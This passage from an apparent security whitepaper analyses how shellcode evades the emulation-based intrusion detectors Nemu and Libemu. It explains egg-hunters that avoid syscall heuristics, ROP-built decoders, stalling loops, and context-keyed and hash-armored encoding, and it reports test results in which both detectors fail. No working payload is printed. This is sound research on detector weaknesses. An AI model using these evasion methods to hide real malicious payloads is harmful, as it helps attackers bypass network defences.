would	   be	   to	   resolve	   the	   base	   address	   of	   a	   NTDLL.dll	   (using	   our	  mentioned	  
stack	   frame	   walking)	   and	   scan	   it	   for	   a	   system	   call	   invocation	   (int	   0x2e,	  
syscall/sysenter,	   etc.)	   and	   make	   a	   call	   to	   that	   address.	   This	   way,	   the	  
interrupt(int	  0x2e)	  isn't	  executed	  by	  (or	  contained)	  in	  our	  shellcode	  but	  by	  the	  
library,	  which	  would	  bypass	  Nemu's	  heuristic.	  
	  
Due	  to	  the	  implementation	  of	  the	  SYSCALL	  detection	  (in	  exec.dat):	  
	  	  if	  (ins-­‐>op1.immediate	  ==	  0x2e)	  {	  
	  	  	  	  switch	  (REGVAL_EAX)	  {	  
	  	  	  	  	  	  case	  0x02:	  	  	  /*	  NtCheckAndAuditAlarm	  */	  
	  	  	  	  	  	  case	  0x08:	  	  	  /*	  NtAddAtom	  */	  
	  	  	  	  	  	  case	  0x43:	  	  	  /*	  NtDisplayString	  */	  
	   	  	  	  	  	  	  DEBUG_CMD(verb("	  ***	  known	  syscall:	  0x%.2x	  (eax	  =	  0xC0000005)",	  REGVAL_EAX));	  
	  	  	  	  	  	  	  	  MEMSCAN_SYSCALL_access++;	  
	  	  	  	  	  	  	  	  REGVAL_EAX	  =	  0xC0000005;	  /*	  return	  ACCESS_VIOLATION	  */	  
	  	  	  	  	  	  	  	  break;	  
	  	  	  	  	  	  default:	  
	  	  	  	  	  	  	  	  break;	  
	  	  	  	  }	  
	  We	  can	  see	  that	  any	  execution	  of	   int	  0x2E	  with	  eax	  set	   to	  a	  blacklisted	  syscall	  will	  
always	   return	   an	   ACCESS_VIOLATION.	   This	   allows	   an	   attacker	   to	   precede	   egg-­‐
hunting	  code	  with	  a	  syscall	  invocation	  over	  a	  known	  valid	  memory	  address	  (say,	  the	  
stack	   pointer)	   and	   check	   if	   the	   return	   value	   is	   an	   ACCESS_VIOLATION.	   If	   so,	   the	  
shellcode	   stops	   running	   (or	   runs	   incorrectly)	   and	  we	   bypass	   Nemu.	   This	   is	   not	   so	  
much	   a	   heuristic	   weakness	   as	   an	   implementation	   weakness.	   Fixing	   this	   would	  
require	   Nemu	   to	   fully	   emulate	   system	   call	   functionality	   (introducing	   additional	  
running	  time	  penalties,	  etc.).	  
3. In	  addition	  to	  using	  other	  kinds	  of	  syscalls,	  an	  attacker	  can	  use	  the	  windows	  
API	   instead	  of	   syscalls.	  APIs	   such	  as	   IsBadReadPtr	  or	   IsBadWritePtr	   allow	  an	  
attacker	  to	  validate	  memory	  addresses	  without	  having	  the	  shellcode	  execute	  
interrupts.	  We	  implemented	  (see	  in	  Source	  Code	  Listing	  section	  2.4.2,APIs)	  an	  
egg-­‐hunter	   which	   uses	   the	   VirtualQuery	   API	   (which	   is	   a	   wrapper	   for	   the	  
NtQueryVirtualMemory	  syscall)	  to	  validate	  memory	  addresses	  while	  scanning.	  
Nemu	   couldn't	   correctly	   emulate	   this	   as	   it	   doesn't	   provide	   full	   system	  
functionality	  but	  even	  if	  it	  could,	  it	  would	  have	  to	  create	  a	  heuristic	  watching	  
a	  long	  list	  of	  APIs,	  which	  is	  far	  less	  feasible	  than	  syscalls	  (since	  there	  are	  way	  
more	  APIs).	  Either	  providing	  a	  list	  or	  single	  OS/version/SP	  dependent	  address	  
can	  do	  obtaining	  the	  address	  of	  VirtualQuery	  or	  resolving	  it	  in	  the	  manner	  we	  
discussed	   earlier.	   On	   top	   of	   that	   (see	   in	   Source	   Code	   Listing	   section	   2.4.2,	  
Indirect	  API	  Calls),	  we	  could	  avoid	  making	  calls	   to	  API	  addresses	  directly	   too	  
by	   taking	   the	   first	   few	   instructions	   of	   the	   API	   and	   adding	   them	   to	   our	  
shellcode	   and	  making	   a	   call	   to	   a	   few	   bytes	   further,	   hence	   avoiding	   calls	   to	  
potentially	  blacklisted	  addresses.	  
	  
	  
4.1.11.	   Metamorphism:	   The	  EBNIDS	  approaches	  we	   investigated	  all	   rely	  on	  
heuristics	   that	  specifically	  detect	  polymorphic	  shellcode.	  Metamorphism,	  however,	  
is	  capable	  of	  evading	  both	  signature	  matching	  and	  the	  heuristics	  aimed	  at	  detecting	  
polymorphic	   shellcode.	   Metamorphism	   is	   the	   class	   of	   semantics-­‐preserving	  
mutations,	   which	   produce	   code	   that	   is	   functionally	   equivalent	   to	   the	   original	   but	  
syntactically	   different	   [35][36].	   As	   such,	   it	   severe	   complicates	   detection	   strategies	  
incorporating	   pattern-­‐matching	   techniques,	   including	   emulation-­‐based	   approaches	  
that	   rely	  on	  static	  analysis	   for	  pre-­‐processing.	  Hence,	   there	   is	  no	   integral	  need	   for	  
encryption	  anymore,	   rendering	  heuristics	  aimed	  at	  detecting	   the	   characteristics	  of	  
the	   polymorphic	   decryption	   loop	   useless.	   Metamorphism	   can	   be	   achieved	   in	   a	  
number	  of	  ways,	  most	  commonly	  through	  a	  combination	  of:	  
1. Junk	   Insertion:	   The	   metamorphic	   engine	   inserts	   operations	   into	   the	   target	  
code	   that	   are	   semantic-­‐NOPs,	   thus	   not	   affecting	   code	   behavior	   but	   altering	  
appearance.	   This	   can	   consist	   of	   semantic-­‐NOPs	   which	   are	   inserted	   in	   the	  
actual	  code	  or	  so-­‐called	  dead-­‐code.	  Dead-­‐code	  consists	  of	  code	  segments	  that	  
do	   affect	   the	   program	   state,	   but	   reside	   on	   control-­‐flow	   branches	   that	   are	  
never	   reached.	  The	  conditional	  branching	  controlling	   the	  program	  flow	  then	  
consists	   of	   so-­‐called	   opaque	   predicates,	   which	   are	   either	   tautologies	   or	  
contradictions,	   but	   this	   either	   only	   becomes	   clear	   during	   emulation	   or	  
requires	  sophisticated	  static	  analysis	  to	  determine.	  	  
	  
2. Transposition:	   The	   original	   code	   is	   transposed,	   usually	   by	   re-­‐ordering	   so-­‐	  
	  called	   basic	   blocks.	   Code	   flow	   is	   preserved	   through	   linking	   the	   re-­‐ordered	  
blocks	   using	   unconditional	   jumps.	   This	   alters	   the	   appearance	  of	   the	  original	  
code	  but	  preserves	  behavior.	  	  
	  
3. Equivalence	  Substitution:	   Instructions	  are	  substituted	  by	  sequences	  of	  other	  
instructions	  which	   are	   semantically	   equivalent,	   for	   example	  MOV	  EAX,0	   can	  
be	   substituted	   by	   XOR	   EAX,EAX.	   Similarly,	   conditional	   branching	   or	   other	  
logical	   tests	   can	   be	   substituted	   by	   semantical	   equivalents.	   For	   example:	   A	  
(XOR)	  B	  is	  equivalent	  to	  ((A	  OR	  B)	  AND	  NOT	  (A	  AND	  B)).	  In	  addition,	  registers	  
can	   be	   swapped	   as	   well	   if	   this	   is	   done	   consistently	   and	   does	   not	   involve	  
special-­‐purpose	   registers	   (like	   ECX’s	   role	   as	   a	   counter	   for	   the	   LOOP	  
instruction).	  	  It	  is	  obvious	  that	  metamorphic	  shellcode	  is	  capable	  of	  bypassing	  
signature-­‐based	  detection,	   as	  well	   as	   approaches	  proposed	   in	   [1,2,3].	   These	  
approaches	  base	  their	  heuristics	  on	  the	  characteristics	  of	  encoded	  shellcode,	  
characteristics	  that	  aren’t	  present	  in	  plain	  or	  metamorphic	  shellcode.	  In	  order	  
to	  detect	  metamorphic	  shellcode,	  a	  defender	  would	  have	  to	  build	  a	  database	  
of	   behavior-­‐signatures,	   series	   of	   heuristics	   that	   identify	   particular	   shellcode	  
behaviors.	   While	   host-­‐based	   anti-­‐virus	   solutions	   already	   do	   this	   on	   a	  
widespread	  scale,	  we	  know	  of	  no	  emulation-­‐based	  NIDS	  solution	  that	  utilizes	  
this	  approach.	  As	  such,	  it	  is	  fair	  to	  say	  that	  metamorphism	  provides	  defenders	  







4.2. Evasions	  Exploiting	  Intrinsic	  Limitations	  
	  
4.2.1.	   Fragmentation	  
So-­‐called	   Swarm	   or	   fragmentation	   attacks	   [20]	   are	   a	   class	   of	   attack	   where	   an	  
attacker	   can	   send	   multiple	   packets	   to	   the	   target	   application	   and	   the	   content	   is	  
stored	  for	  at	  least	  a	  certain	  amount	  of	  time	  in	  target	  memory.	  Swarm	  attacks	  create	  
the	  shellcode	  decoder	  in	  the	  target	  process	  memory	  space	  using	  multiple	  instances	  
of	   the	   attack,	   with	   each	   instance	   writing	   a	   small	   segment	   of	   the	   decoder	   at	   the	  
designated	   location.	   After	   building	   the	   decoder	   in	   this	   fashion,	   the	   last	   attack	  
instance	  will	  hijack	  actual	  control	  of	  the	  attacked	  process	  to	  start	  decoder	  execution	  
while	   it	   simultaneously	   includes	   the	   shellcode	   cipher	   text.	  As	   such,	   swarm	  attacks	  
could	  be	  considered	  a	   form	  of	   fragmented	   ’egghunting’	  attacks.	  Swarm	  can	  defeat	  
all	   three	   components	   of	   NIDS;	   it	   will	   be	   severely	   complicated	   task	   to	   do	   static	  
analysis	  for	  part	  of	  decoder,	  in	  pre-­‐processor	  stage.	  Additionally,	  due	  to	  the	  fact	  that	  
there	  is	  no	  fully	  valid	  shellcode	  present	  in	  any	  of	  the	  attack	  instances,	  the	  emulator	  
is	   never	   capable	   of	   emulating	   the	   decoder	   and	   hence	   no	   heuristics	   are	   triggered.	  
Attackers	   should	   take	   care,	   though,	   to	   keep	   the	   attack	   instances	   small	   and/or	  
polymorphic	  enough	  to	  avoid	  triggering	  signature	  matching.	  Swarm	  attacks	  present	  
a	  challenge	  to	  network-­‐level	  emulators	  but	  have	   the	  downside	  of	  being	  applicable	  
only	   in	   specific	   exploitation	   scenarios.	   For	   example,	   attacker	   can	   send	   part	   of	  
shellcode	  into	  the	  memory	  like	  an	  input	  file	  or	  an	  input	  for	  network	  service	  and	  then	  
next	  input	  and	  so	  on	  and	  at	  the	  end	  it	  send	  it’s	  aggregator	  code	  to	  execute	  shellcode	  
in	  the	  different	  addresses	  of	  the	  stack.	  
	  
4.2.2.	   Non-­‐self	  contained	  shellcodes	  evasion:	  
It	   is	  possible	  for	  a	  shellcode	  to	  use	  code	  or	  data	  of	  the	  target	  system	  as	  execution	  
instructions,	   and	  hence	  become	  dependent	  upon	   the	   state	  of	   the	   target	  machine.	  
Such	   code	   is	   called	   non-­‐self-­‐contained	   and	   can	   involve	   the	   absence	   of	   classic	  
heuristic	  triggers	  such	  as	  GetPC	  code	  or	  Payload	  Reads.	  Such	  code	  poses	  a	  problem	  
for	  EBNIDSes	  that	  lack	  knowledge	  of	  the	  target	  machine	  state.	  Code	  depending	  on	  a	  
particular	  machine	  state	  for	  successful	  execution	  not	  only	  requires	  full	  emulation	  of	  
instructions,	   but	   also	   access	   to	   a	   potentially	   unknown	   amount	   of	   host-­‐based	  
information.	  While	  this	  might	  be	  relatively	  easy	  to	  implement	  on	  host-­‐based	  NIDSes,	  
for	  EBNIDSes	  it	  is	  unscalable	  to	  keep	  up-­‐to-­‐date	  information	  about	  all	  possible	  target	  
hosts	   in	   a	   network.	   The	   EBNIDSes	   are	   all	   susceptible	   to	   armoring	   techniques	  
involving	  some	  form	  of	  non-­‐self-­‐contained	  shellcode.	  
In	  addition,	  it	  is	  possible	  to	  generalize	  the	  principle	  of	  non-­‐self-­‐contained	  shellcode	  
to	   the	   idea	   of	   Return-­‐Oriented-­‐Programming	   (ROP).	   ROP	   involves	   the	   re-­‐using	  
instructions	  or	  data	  in	  the	  memory	  of	  the	  target	  application	  in	  a	  way	  to	  compose	  an	  
instruction	   sequence	   which	   performs	   the	   operations	   required	   by	   the	   attacker.	  
Program	  data	  or	   code	  preceding	  a	  RET	   instruction	   is	  often	  chained	   to	  execute	   the	  
desired	   behavior.	   As	   such,	   an	   attacker	   can	   seek	   out	   a	   sequence	   of	   instructions	  
terminated	   by	   a	   RET	   instruction	   and	   note	   down	   their	   addresses.	   The	   actual	  
shellcode	  would	  then	  consist	  of	  a	  series	  of	  PUSH	  operations	  pushing	  these	  addresses	  
on	   the	   stack,	   followed	   by	   a	   final	   RET	   transferring	   control	   to	   the	   first	   ROP-­‐chain	  
segment.	  Thus,	   the	  actual	   shellcode	   transferred	  of	   the	  network	  would	  not	  contain	  
any	  of	  the	  malicious	  instructions	  the	  attacker	  intends	  to	  execute.	  
The	   increasing	   proliferation	   of	   randomization	   techniques	   complicates	  matters	   and	  
potentially	   renders	   non-­‐self-­‐contained	   shellcode	   fragile,	   something	   mentioned	   in	  
[8].	   An	   example	   of	   these	   techniques	   are	   Address-­‐Space	   Layout	   Randomization	  
(ASLR),	   which	   randomize	   the	   base	   address	   of	   loaded	   libraries	   and	   Position	  
Independent	  Executables	   (PIE),	  which	  are	   compiled	   to	  be	  executable	   regardless	  of	  
the	  base	  address	  they	  are	  loaded	  at	  and	  thus	  have	  a	  randomized	  image	  base.	  ASLR	  is	  
enabled	  by	  default	  in	  modern	  operating	  systems.	  This	  however	  presents	  no	  problem	  
when	  the	  ROP	  code	  is	  located	  in	  a	  program	  loaded	  at	  a	  static	  image	  base.	  
Even	  the	  latest	  efforts	  to	  address	  code	  reuse	  techniques	  in	  EBNIDSes	  [9]	  introduced	  
in	   Nemu	   are	   unable	   to	   fully	   cope	   with	   non-­‐self-­‐contained	   shellcode.	   Nemu	   is	  
outfitted	   with	   the	   program	   image	   of	   a	   real,	   albeit	   arbitrary,	   windows	   process	   in	  
order	  to	  enable	  more	  faithful	  emulation.	  However,	   this	  only	  partially	  mitigates	  the	  
problem,	   since	   attackers	   can	   craft	   shellcodes	   targeting	   only	   a	   specific	   OS	   version	  
(and	  e.g.,	  language	  pack)	  or	  a	  specific	  application.	  
In	   order	   to	   test	   the	   performance	   of	   Libemu	   and	   Nemu	   in	   detecting	   non-­‐self-­‐	  
contained	   shellcode	   we	   modify	   our	   test	   shellcodes	   by	   dynamically	   building	   the	  
entire	   GetPC	   code	   and	   the	   shellcode	   decoder	   out	   of	   ROP	   gadgets.	   Since	   these	  
gadgets	  are	  only	  present	  at	  the	  target	  addresses	  on	  particular	  versions	  of	  a	  system	  
(e.g.	   they	   vary	   from	  OS	   versions,	   service	   packs	   and	   language	   packs)	   any	   emulator	  
that	  does	  not	  supply	  the	  correct	  image	  should	  not	  be	  able	  to	  execute	  this	  code.	  The	  
fact	   that	   addresses	   vary	   between	   versions	   does	   not	   constitute	   a	   problem,	   as	  
addresses	   are	   static	   within	   each	   version.	   An	   attacker	   could	   build	   a	   database	   of	  
addresses	  with	   the	  desired	   gadgets	   for	   each	   target	  platform	  much	   like	  Metasploit	  
modules	   often	   do.	   Since	   ASLR	   is	   enabled	   in	   most	   operating	   systems	   for	   many	  
libraries	   which	   are	   compiled	   with	   ASLR-­‐compatible	   support,	   we	   ensure	   shellcode	  
stability	  by	  leveraging	  the	  fact	  that	  ASLR	  varies	  the	  base	  addresses	  but	  not	  offsets	  of	  
instructions	   from	   the	   base	   address.	   We	   therefore	   build	   a	   database	   of	   offsets,	  
instead	  of	  addresses,	  and	  have	  the	  shellcode	  resolve	  the	  base	  address	  of	  the	  target	  
library	   first.	   We	   gather	   the	   gadgets	   from	   ntdll.dll	   on	   x86	   under	   Windows	   7	   and	  
resolve	   the	   base	   address	   through	   the	   StackFrame-­‐walking	   technique	   explained	   in	  
Section	  3.1	   to	  avoid	   triggering	  heuristics.	  We	  gather	   these	  gadgets	  using	   the	  RP++	  
tool	  [21].	  It	  should	  be	  noted	  that	  our	  shellcode	  does	  not	  fully	  consist	  of	  ROP	  gadgets	  
(only	   the	   GetPC	   and	   decoder	   stub)	   and	   as	   such	   the	   shellcode	   is	   still	   faced	   with	  
traditional	  difficulties	  when	  dealing	  with	  an	  ASLR+DEP	  protected	  system.	  However,	  
though	   most	   major	   applications	   and	   system	   libraries	   are	   compiled	   with	   ASLR	  
support	   this	   is	   not	   always	   the	   case	   and	   often	   an	   attacker	   can	   still	   rely	   on	   static	  
addresses	  from	  either	  the	  non-­‐ASLR	  enabled	  target	  application	  image	  itself	  or	  from	  
libraries	  compiled	  without	  ASLR	  support	  loaded	  by	  the	  target	  application.	  In	  order	  to	  
bypass	  ASLR/DEP	  our	  shellcode	  would	  need	  to	  be	  modified	  by	  having	  the	  address-­‐
resolving	   stub	   consist	   of	   ROP-­‐gadgets	   located	   in	   a	   non-­‐ASLR-­‐enabled	   image	   or	  
library	   and	   subsequent	   ROP-­‐gadgets	   derived	   from	   offsets	   to	   the	   resolved	   base	  
address.	   Neither	   Libemu	   nor	   Nemu	   we	   found	   capable	   of	   detecting	   our	   non-­‐self-­‐
contained	   shellcode.	   In	   principle,	   recent	   approaches	   proposed	   for	   detecting	   ROP-­‐
based	   shellcode	   [23]	   could	  be	  more	  effective	   than	  Nemu	  and	   Libemu	   in	  detecting	  
our	   bypasses.	   However	   we	   are	   still	   left	   with	   the	   open	   question	   of	   verifying	   the	  
effectiveness	  of	  such	  new	  approach.	  
	  
4.2.3.	   Execution	  Threshold	  
Real-­‐time	   intrusion	   detection	   imposes	   the	   need	   to	   evaluate	   whether	   input	   is	  
malicious	  or	  not	  within	  a	   reasonable	  amount	  of	   time.	   Shellcodes	   that	   take	  a	   large	  
amount	  of	  time	  to	  be	  emulated	  pose	  a	  problem.	  Long	   loops	  have	  been	  used	  as	  an	  
anti-­‐debugging	  technique	  for	  a	  long	  time,	  and	  some	  of	  the	  detection	  techniques	  [1,	  
3,	   4]	  use	   infinite	   loop	  detection	  and	   smashing	  or	  pruning	   to	   reduce	   the	   impact	  of	  
execution	   threshold	  exceeding	   code.	  However,	   it	   is	  possible	   to	  employ	   techniques	  
that	   force	   any	   emulator	   to	   spend	   a	   certain	   amount	   of	   time	   before	   being	   able	   to	  
execute	  the	  actual	  shellcode.	  
One	   such	   technique	   is	   the	   use	   of	   Random	   Decryption	   Algorithms	   (RDAs)	   as	  
described	  by	  Kharn	  [24].	  RDAs	  essentially	  consist	  of	  employing	  encryption	  routines	  
without	   supplying	   the	   decryption	   key	   and	   forcing	   the	   self-­‐decrypting	   code	   to	  
perform	   a	   brute-­‐force	   attack	   on	   itself,	   thus	   creating	   a	   time-­‐consuming	   decryption	  
loop.	  An	  attacker	  could	  employ	  strong	  cryptographic	  algorithms	  and	  use	  a	  reduced	  
key-­‐space	   which	   can	   be	   brute	   forced	   in	   a	   timeframe	   which	   is	   acceptable	   for	  
execution	   but	   not	   for	   detection.	   A	   more	   sophisticated	   approach,	   albeit	   more	  
complex	  and	  implementationally	  limited,	  is	  the	  use	  of	  Time	  Lock	  Puzzles	  (TLPs)	  [25,	  
26].	  TLPs,	  are	  cryptographic	  problems	  consisting	  of	  a	  cipher-­‐text	  encrypted	  using	  a	  
strong	  cipher	  and	  a	  puzzle,	  which	  requires	  a	  series	  of	  sequential,	  non	  parallelizable	  
operations	   in	  order	   to	   retrieve	   the	  key.	  The	  authors	  of	  EBNIDS	  approaches	  almost	  
invariably	  state	  that	  if	  attackers	  would	  start	  to	  employ	  evasion	  techniques	  aimed	  at	  
exceeding	  execution	   thresholds,	   their	  method	  would	   still	   be	  useful	   as	   a	   first-­‐stage	  
anomaly	  detector	  since	  the	  appearance	  of	  loops	  exceeding	  the	  threshold	  in	  random	  
code	  is	  rare.	  However,	  even	  if	  all	  streams	  exceeding	  execution	  thresholds	  would	  be	  
passed	   on	   to	   a	   second-­‐stage	   analysis	   engine,	   the	   problem	   of	   having	   to	   perform	  
unacceptably	   time-­‐consuming	   operations	   remains,	   forbidding	   analysis	   by	   second-­‐
stage	   engines	   as	   well,	   and	   leaving	   the	   malicious	   nature	   of	   the	   examined	   code	  
undecided.	  
We	  modify	  our	  test	  shellcodes	  to	  evade	  EBNIDSes	  by	  exceeding	  their	  execution	  
thresholds	  based	  on	  four	  techniques:	  
	  
	  
• Opaque	  loops	  technique	  Timeout:	  In	  this	  case	  we	  generate	  a	  loop	  that	  takes	  
a	   long	   time	   to	   perform	   seemingly	   necessary	   operations	   (such	   as	   the	  
calculation	  of	  certain	  values	  for	  code-­‐branching	  operations	   later	  on)	  while	   in	  
reality	  the	  checks	  and	  calculation	  it	  performs	  are	  so-­‐called	  opaque	  predicates	  
(i.e.	  they	  always	  result	  in	  the	  same	  value	  and	  code	  flow).	  Preceding	  the	  GetPC	  
stub	  and	  decoder	  with	  such	  a	  loop	  lets	  'linear'	  emulators	  timeout	  before	  they	  
can	  get	  to	  the	  triggering	  code.	  
	  
• Intensive	   loops	   technique	   Timeout:	   Similar	   to	   the	   opaque	   loops,	   intensive	  
loops	  employ	  instructions	  (e.g.	  FPU	  or	  MMX	  instructions)	  which	  are	  costly	  to	  
emulate,	   taking	   a	   longer	   amount	   of	   time	   to	   execute	   in	   an	   emulated	  
environment	   than	   on	   the	   target	   host.	   Again,	   this	   loop	   is	   prepended	   to	   the	  
actual	  payload.	  
	  
• Integrated	  loops	  technique	  Timeout:	  As	  opposed	  to	  the	  opaque	  and	  intensive	  
loops,	   the	   behavior	   of	   this	   stalling	   code	   is	   actually	   required	   for	   proper	  
execution	  of	  the	  payload.	  The	  encoder	  key	  and	  the	  instructions	  of	  the	  GetPC	  
code	  are	  split	  up	  in	  a	  loop-­‐based	  calculation	  that	  takes	  a	  long	  amount	  of	  time.	  
The	   shellcode	  will	   have	   to	   execute	   this	   code	   in	   order	   to	   obtain	   the	   key	   for	  
proper	   decryption	   of	   the	   payload	   as	   well	   as	   the	   instructions	   of	   the	   GetPC	  
code.	  
	  
• Random	  Decrypt	  Algorithm:	  	  In	  this	  scenario,	  the	  payload	  is	  encrypted	  with	  a	  
random	  key	  that	  is	  thrown	  away.	  The	  shellcode	  simply	  attempts	  to	  brute	  force	  
the	   key	   and,	   after	   each	   attempt,	   checks	   the	   decrypted	   body	   against	   a	   hash	  
value.	  If	  it	  matches,	  it	  hit	  the	  right	  key.	  If	  it	  didn't,	  it	  tries	  the	  next	  key.	  	  
	  
In	  addition,	  there	  are	  Time-­‐lock	  puzzles	  (as	  proposed	  by	  Rivest	  et	  al.).	  These	  would	  
make	   the	   ideal	   stalling-­‐code	   but	   implementing	   them	   as	   part	   of	   shellcode	   is	   very	  
problematic	   as	   the	   algorithm	   involved	   (sequential	   squarings	   modulo	   a	   prime	  
product)	  requires	  arbitrary	  precision	  (or	  bigint)	  arithmetic.	  	  
	  







Nemu	   9/9	   9/9	   0/9	   0/9	  
Libemu	   0/1	   0/1	   0/1	   0/1	  
Table	  3.	  The	  result	  of	  Execution	  Threshold	  Evasion.	  
	  
	  
Table	   3	   shows	   the	   results	   of	   our	   tests.	   Libemu	   cannot	   detect	   any	  of	   the	  modified	  
shellcodes.	  On	  the	  other	  hand,	  the	  shellcodes	  modified	  with	  the	  first	  two	  techniques	  
(opaque	  and	  intensive	  loops)	  could	  all	  being	  detected	  by	  Nemu.	  This	  is	  expected	  and	  
is	  due	  to	  the	  fact	  that	  Nemu	  searches	  for	  potential	  shellcode	  entry	  points	  at	  every	  
byte	  position	  within	  a	  payload	  and	  the	  execution	  of	  the	  stalling	  code	  is	  not	  required	  
for	  execution	  of	  the	  shellcodes.	  However,	  by	  examining	  the	  source	  code,	  we	  observe	  
that	  also	  Libemu	  should	  apply	  the	  same	  technique,	  and	  therefore	  should	  in	  principle	  
be	  able	  to	  detect	  the	  same	  shellcodes.	  We	  believe	  the	  failure	  in	  the	  detection	  has	  to	  
do	  with	  some	  implementation	  issue	  which	  is	  unrelated	  to	  the	  concept	  of	  execution	  
threshold.	   None	   of	   the	   shellcodes	   modified	   with	   the	   integrated	   loops	   and	   RDAs	  
techniques	   are	   detected,	   since	   the	   proper	   execution	   of	   the	   shellcode	   depends	   on	  
the	  results	  of	  the	  execution	  of	  the	  stalling	  code.	  
	  
4.2.4.	   Context-­‐keying	  
Information	  about	  the	  target	  host	  can	  be	  used	  as	  a	  cryptographic	  key	  to	  encrypt	  and	  
decrypt	  the	  shellcode.	  This	  technique	  is	  known	  as	  Context-­‐Keyed	  Payload	  Encoding	  
(CKPE)	  armoring	  and	  has	  been	  proposed	  by	  Aycock	  et.al.	  To	  prevent	  the	  analysis	  of	  
malware	   [28].	   EBNIDS	   approaches	   are	   susceptible	   to	   evasion	   through	   CKPE	  
armoring.	  The	  benefit	  of	  CKPE,	  compared	  to	  non-­‐self-­‐contained	  shellcode	  is	  greater	  
stability,	  lower	  complexity	  and	  less	  effort	  on	  the	  side	  of	  the	  attacker.	  
Proper	  use	  of	  CKPE	  prohibits	   successful	   emulation	  of	   the	   shellcode	  by	   the	  EBNIDS	  
and	  as	  such	  reduces	  the	  problem	  of	  evasion	  to	  ensure	  that	  the	  CKPE	  routine	  remains	  
undetected.	   Strong	   CKPE	   armoring	   would	   involve	   producing	   a	   polymorphic	   key	  
generator	  stub	  and	  decoder	  as	  well	  as	  avoiding	   the	  use	  of	   traditional	  hallmarks	  of	  
self-­‐decoding	   shellcode	   such	   as	   GetPC	   code	   or	   WX	   instructions.	   A	   context-­‐based	  
payload	  encoder	  is	  available	  in	  the	  Metasploit	  framework.	  Unfortunately,	  EBNIDSes	  
can	   detect	   the	   Metasploit	   CKPE	   encoder	   since	   it	   includes	   GetPC	   code	   in	   the	  
generated	  shellcode.	  
We	  improve	  the	  Metasploit	  CKPE	  encoder	  by	  adding	  a	  non-­‐cryptographically	  secure	  
hashing	  function	  that	  generates	  a	  hash	  based	  on	  the	  key	  and	  XORs	  4	  bytes	  of	  GetPC	  
code	  with	   it	  before	  pushing	   it	   to	   the	  stack	  and	  transferring	  control	   to	   it.	  This	  way,	  
the	  GetPC	  code	  is	  only	  executed	  if	  the	  key	  extracted	  by	  the	  system	  (which	  depends	  
on	   context)	   hashes	   to	   the	   right	   value.	   We	   use	   4	   parameter	   namely	   CPUID	  
information,	   values	   present	   at	   static	   memory	   addresses,	   system	   time	   and	   file	  
information	   for	   context-­‐dependent	  key	  generation	   in	  our	   tests	  as	   keys	  with	  which	  
we	  encode	  our	   test	   shellcodes.	  Both	   Libemu	  and	  Nemu	  are	  not	   capable	   to	  detect	  
any	  of	  the	  modified	  shellcodes.	  
	  
	  
4.2.5.	   Hash	  Armoring:	  
A	   special	   case	   of	   CKPE	   is	   hash-­‐armoring	   [28].	   Hash	   armoring	   uses	   a	   cryptographic	  
hash	   function	   with	   a	   context-­‐based	   key	   to	   hash	   a	   (arbitrary)	   salt.	   The	   technique	  
consists	  of	  checking	  whether	  the	  resultant	  hash	  value	   for	  a	  given	  salt	  contains	   the	  
instructions	  to	  be	  armored	  (called	  the	  run).	  Given	  a	  run,	  the	  armoring	  routine	  brute-­‐
forces	   all	   possible	   salts	   until	   a	   suitable	   hash	   is	   found,	   returning	   the	   positions	  
between	  which	  the	  run	  is	  located	  in	  the	  hash	  together	  with	  the	  salt,	  forming	  a	  triple.	  
This	  is	  repeated	  for	  the	  entire	  malicious	  body	  resulting	  in	  a	  collection	  of	  such	  triples.	  
The	   un-­‐armoring	   routine	   simply	   obtains	   the	   context-­‐based	   key	   (in	   the	   correct	  
environment)	  and	  concatenates	  the	  salt,	  generating	  the	  hash	  and	  extracting	  the	  run.	  
The	  process	  is	  repeated	  this	  for	  all	  triples,	  thus	  (re)generating	  the	  original	  shellcode.	  
We	  implement	  this	  technique	  by	  creating	  a	  modified	  version	  of	  the	  Context	  CPUID	  
Metasploit	   key	   generator	   stub	   with	   modified	   GetPC	   code,	   similar	   to	   our	   CKPE	  
implementation.	   The	  un-­‐armoring	   routine	   consists	  of	   extracting	   the	   runs	   from	   the	  
hashes	  obtained	  from	  combining	  the	  extracted	  context	  key	  with	  the	  information	  in	  
the	  triples.	  Similarly	  to	  what	  we	  did	  for	  context-­‐keying,	  we	  use	  CPUID	  information,	  
values	   present	   at	   static	   memory	   addresses,	   system	   time	   and	   file	   information	   as	  
context	  keys	  with	  which	  we	  armor	  our	  test	  shellcodes.	  Both	  Libemu	  and	  Nemu	  are	  
not	  capable	  to	  detect	  any	  of	  the	  modified	  shellcodes.	  
	  
5. Conclusions	  and	  Future	  Works	  
In	   this	  whitepaper,	  we	  have	   shown	  how	  EBNIDSes	  work	  and	  we	  have	  pointed	  out	  
that	  they	  suffer	  of	  important	  limitations.	  In	  particular,	  we	  have	  shown	  that	  all	  three	  
steps	   of	   emulation-­‐based	   detection	   (namely,	   pre-­‐processing,	   emulation,	   and	   the	  
heuristic-­‐based	   detection)	   have	   limitations	   that	   make	   it	   relatively	   simple	   for	   an	  
attacker	  to	  circumvent	  the	  detection.	  We	  tested	  two	  common	  EBNIDSes	  for	  a	  proof	  
of	   concept	   and	   it	   showed	   us	   that	   it	   is	   possible	   to	   evade	   both	   systems	   in	   all	   the	  
detection	  steps.	  
From	   the	   foundational	   viewpoint,	  we	  believe	   that	   the	  most	   interesting	   limitations	  
are	   those	  regarding	  emulation	  and	  the	  heuristic-­‐based	  detection.	   Indeed,	  we	  have	  
demonstrated	   that	   even	   assuming	   a	   bug-­‐free	   pre-­‐processor	   and	   emulator,	  
emulation	   can	   still	   be	   hindered	   and	   a	   skilled	   attacker	   can	   easily	   bypass	   heuristic-­‐
based	   detection.	   We	   have	   shown	   that	   it	   is	   possible	   to	   write	   generic	   shellcode	  
encoders	   that	   are	   able	   to	   completely	   bypass	   EBNIDSes	   by	   targeting	   their	   intrinsic	  
limitations.	  
From	   the	   practical	   viewpoint,	   we	   think	   that	   the	   weaknesses	   resulting	   from	   the	  
discrepancy	   between	   the	   emulated	   environment	   and	   the	   intended	   target	   of	   the	  
shellcode	  is	  actually	  the	  easiest	  one	  to	  exploit	  for	  an	  attacker.	  Given	  that	  outfitting	  
EBNIDSes	   with	   full	   host-­‐based	   information	   would	   make	   the	   system	   completely	  
unscalable,	  we	  believe	   it	   is	  unfeasible	   that	  EBNIDSes	  alone	  will	  ever	  be	  capable	  of	  
bridging	  this	  particular	  gap	  either.	  
Finally,	  in	  addition	  to	  the	  structural	  problems	  faced	  by	  network-­‐level	  emulators,	  the	  
proposed	  pre-­‐processing	  components	  often	  rely	  purely	  on	  static	  analysis	  techniques	  
leaving	  them	  vulnerable	  to	  armoring	  methods.	  
